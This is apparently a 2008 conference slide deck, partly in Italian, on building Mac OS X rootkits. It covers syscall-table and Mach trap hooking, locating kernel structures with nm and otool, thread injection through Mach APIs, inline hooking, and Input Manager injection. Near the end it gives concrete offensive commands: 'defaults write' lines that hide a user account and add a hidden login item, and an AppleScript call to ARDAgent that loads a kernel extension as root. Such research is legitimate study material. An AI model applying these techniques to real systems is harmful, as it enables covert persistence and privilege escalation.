OS X Rootkits: The next level

Alfredo Pesoli
<revenge@0xcafebabe.it>

HAT – Giugno 2008

OS X Rootkits - iCal

- Once upon a time
- XNU Hacking
  - KSpace Hooking
    - Mach vs. BSD
  - Process Infection
    - Thank you very Mach
- High-Level Hooking
  - Funtion Overriding
  - Bundle Injection

OS X Rootkits - Once upon a time

- WeaponX (KSpace rootkit)
  - Prima implementazione pubblica per syscall rerouting
- Inqtana
  - Spreading -> CVE-2005-1333 Apple Mac OS X Bluetooth Directory Traversal
  - Launchd utilizzato come loading point
- Leap.A
  - Primo _virus_ in the wild()
  - Input Manager

OS X Rootkits - Once upon a time

- Process Infection
  - task_for_pid() utilizzata per ottenere un oggetto port di tipo task_port_t
  - oggetto port utilizzato per IPC nel Mach subsystem:
    - vm_write, vm_alloc, vm_free …
  - Nessun controllo su uid/gid->Infection_a_go_go()

OS X Rootkits - Leopard, what now?

- sysent non piu' esportata dal kernel (gia da Tiger)
  - Ma presente per ovvi motivi nel running kernel
  - not-write-protected (non piu' ovvio il motivo)

- Tunable kernel parameter implementato come check per la task_for_pid()

```
#define KERN_TFP_POLICY _DENY        0  /* Priv */
#define KERN_TFP_POLICY              1  /* Not used */
#define KERN_TFP_POLICY_DEFAULT      2 /* Related */
```

OS X Rootkits - BSD Basic Knowledge

bsd/sys/sysent.h

```
struct sysent {
    int16_t         sy_narg;
    int8_t          sy_resv;
    int8_t          sy_flags;
    sy_call_t       *sy_call;
    sy_munge_t      *sy_arg_munge32;
    sy_munge_t      *sy_arg_munge64;
    int32_t         sy_return_type;
    uint16_t        sy_arg_bytes;
};
```

- **sysent** e' l'array di function pointers contenente tutte le *bsd syscall*

OS X Rootkits - BSD Basic Knowledge

bsd/sys/sysent.h

```
struct sysent {
    int16_t             sy_narg;
    int8_t              sy_resv;
    int8_t              sy_flags;
    sy_call_t           *sy_call;
    sy_munge_t          *sy_arg_munge32;
    sy_munge_t          *sy_arg_munge64;
    int32_t             sy_return_type;
    uint16_t            sy_arg_bytes;
};
```

- sysent e' l'array di function pointers contenente tutte le *bsd syscall*
- ****sy_call*** e' la variabile che contiene l'attuale function pointer per la determinata funzione

OS X Rootkits - BSD sysent hooking

bsd/kern/init_sysent.c

```
__private_extern__ struct sysent sysent[] = {
    {0, 0, 0, (sy_call_t *)nosys, NULL, NULL, _SYSCALL_RET_INT_T, 0}
    {AC(exit_args), 0, 0, (sy_call_t *)exit, munge_w, munge_d, _SYSCALL_RET_NONE, 4}
    {0, 0, 0, (sy_call_t  *)fork, NULL, NULL, _SYSCALL_RET_INT_T, 0},
```

- *nm /mach_kernel | egrep "_nosys|_exit|_fork"*

```
00389b48 T _nosys
0037027b T _exit
00371dd5 T _fork
```

OS X Rootkits - BSD sysent hooking

- otool -d /mach_kernel | grep “48 9b 38”

```
00504780  ab 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00504790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
005047a0  00 00 00 00 48 9b 38 00 00 00 00 00 00 00 00 00
005047b0  01 00 00 00 00 00 00 00 01 00 00 00 7b 02 37 00
005047c0  80 d0 3d 00 00 00 00 00 00 00 00 00 04 00 00 00
005047d0  00 00 00 00 d5 1d 37 00 00 00 00 00 00 00 00 00
```

OS X Rootkits - BSD sysent hooking

- Simbolo esportato per ottenere un VA di partenza
  - Possibilmente non far-far-away e reliable

- nm /mach_kernel | grep 504780

  00504780 _nsysent

- grep -ir ~/kern/1228.3.13/bsd/ “nsysent”

  sys/sysent.h:extern int nsysent;

OS X Rootkits - BSD sysent hooking

- Nel caso in cui anche nsysent non venga piu' esportata
  - Bruteforcing
- static pattern da matchare sul running kernel
  - E.g. successione dei syscall args
- Finche' c'e' export c'e' speranza

OS X Rootkits - Mach Basic Knowledge

osfmk/kern/syscall_sw.h

```
typedef struct {
    int                 mach_trap_arg_count;
    int                 (*mach_trap_function)(void);
#if defined(__i386__)
    boolean_t     mach_trap_stack;
#else
    mach_munge_t    *mach_trap_arg_munge32;
    mach_munge_t    *mach_trap_arg_munge64;
#endif
#if !MACH_ASSERT
    int                 mach_trap_unused;
#else
    const char          *mach_trap_name;
#endif
} mach_trap_t;

extern mach_trap_t   mach_trap_table[];
```

- Per le *mach traps (mach syscalls)* viene utilizzata la **mach_trap_table**

OS X Rootkits - Mach Basic Knowledge

osfmk/kern/syscall_sw.h

```
typedef struct {
    int                 mach_trap_arg_count;
    int                 (*mach_trap_function)(void);
#if defined(__i386__)
    boolean_t    mach_trap_stack;
#else
    mach_munge_t    *mach_trap_arg_munge32;
    mach_munge_t    *mach_trap_arg_munge64;
#endif
#if !MACH_ASSERT
    int                 mach_trap_unused;
#else
    const char          *mach_trap_name;
#endif
} mach_trap_t;

extern mach_trap_t   mach_trap_table[];
```

- Per le *mach traps (mach syscalls)* viene utilizzata la mach_trap_table
- ***mach_trap_function** e' la variabile che contiene l'attuale function pointer per la specifica syscall dell'array

OS X Rootkits - Process Infection

- task_for_pid() hooking
  - task_posix_check()

```
if (!(task_for_pid_posix_check(p))) {
    error = KERN_FAILURE;
    goto tfpout;//
}
```

- Infection attraverso Mach API

OS X Rootkits - Low-level Injection Map

- Thread Injection
  - task_for_pid(target_proc)
  - vm_allocate(target_proc_port)
  - vm_write(target_proc_port)
  - thread_create_running(target_proc_port)

OS X Rootkits - Process Infection

- Codice injected nel target process
  - Problema #1: Completo controllo dell'applicazione
  - Problema #2: Un reboot e' in grado di eliminare l'infection
  - Problema #3: Ottenere il tutto in maniera silente

OS X Rootkits - Process Infection

- Function Overriding
  - Hooking interponendo codice senza sostituire l'implementazione originale della funzione
    - CALL -> Malicious_Funct() -> Original_Funct()
  - Good old Inline hooking
    - Modificati i primi bytes della funzione facendo in modo che punti al nostro codice
  - Reliability ? Escape Branch Island
    - stabilita' e flusso di esecuzione riportato correttamente verso l'implementazione originale della funzione
    - Vengono copiate all'interno dell'island le istruzioni originali patchate in modo da ripristinare correttamente l'esecuzione del codice

OS X Rootkits - Hooking Map

- Function Overriding
  - _dyld_lookup_and_bind()
  - _dyld_lookup_and_bind_with_hint(lib_name)

  - vm_protect(page)
  - vm_allocate()
  - MakeDataExecutable/msync

  - Patching Istructions

OS X Rootkits - High-Level Hooking

- Input Manager
  - **“An input manager (NSInputManager object) serves as a proxy for a particular input server and passes messages to the active input server”**
  - Ufficialmente plugin utilizzati per estendere gli Input Methods nelle applicazioni Cocoa

OS X Rootkits - High-level Hooking

- Input Manager
  - aka Injecting Arbitrary Code in everything
  - /Library/InputManagers/ in veste di Bundle
  - **tutte** le applicazioni caricheranno il codice
  - Il bundle stesso ha la facolta' di decidere da chi essere caricato

OS X Rootkits - High-level stuff

- defaults write /Library/Preferences/com.apple.loginwindow HiddenUsersList –array-add “user”

- defaults write /Library/Preferences/com.apple.SystemLoginItems AutoLaunchedApplicationDictionary -array-add '<dict><key>Hide</key><true/><key>Path</key><string>app_path</string></dict>’

OS X Rootkits - AppleScript

- Tell app “Finder” to get name of first window/file in first window
- Tell app “mail” to get name of every account
- Tell App “ARDAgent” to do shell script “kextload pwned.kext”
- Dude, nothing to do here. Pwn3d

Thank You!

Alfredo Pesoli
<revenge@0xcafebabe.it>
www.0xcafebabe.it